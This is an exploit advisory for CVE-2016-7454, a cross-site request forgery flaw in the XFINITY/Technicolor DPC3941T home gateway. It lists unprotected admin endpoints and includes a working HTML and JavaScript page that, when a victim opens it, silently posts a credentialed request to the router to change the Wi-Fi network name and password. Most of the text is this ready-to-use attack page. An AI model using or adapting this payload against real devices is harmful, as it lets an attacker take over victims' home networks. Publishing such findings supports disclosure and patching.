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# Exploit Title: CSRF XFINITY Gateway product Technicolor(previously Cisco) DPC3941T
# Date: 09/08/2016
# Exploit Author: Ayushman Dutta
# Version: dpc3941-P20-18-v303r20421733-160413a-CMCST
# CVE : CVE-2016-7454
The Device DPC3941T is vulnerable to CSRF and has no security on the entire
admin panel for it.
Some of the links are at:
<IP Address>/actionHandler/ajax_remote_management.php
<IP Address>/actionHandler/ajaxSet_wireless_network_configuration_edit.php
<IP Address>/actionHandler/ajax_network_diagnostic_tools.php
<IP Address>/actionHandler/ajax_at_a_glance.php
A simple HTML page with javascript on which the attacker lures the victim
can be used to change state in the application.
<html>
<head>
<title>
Lets CSRF Xfinity to change Wifi Password
</title>
</head>
<script>
function jsonreq() {
var json_upload = "configInfo=" + JSON.stringify({"radio_enable":"true",
"network_name":"MyName", "wireless_mode":"a,n,ac",
"security":"WPAWPA2_PSK_TKIPAES", "channel_automatic":"true",
"channel_number":"40", "network_password":"password",
"broadcastSSID":"true", "enableWMM":"true", "ssid_number":"1"});
var xmlhttp = new XMLHttpRequest();
xmlhttp.withCredentials = true;
xmlhttp.open("POST","
http://10.0.0.1/actionHandler/ajaxSet_wireless_network_configuration_edit.php",
true);
xmlhttp.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
xmlhttp.send(json_upload);
}
jsonreq();
</script>
</html>
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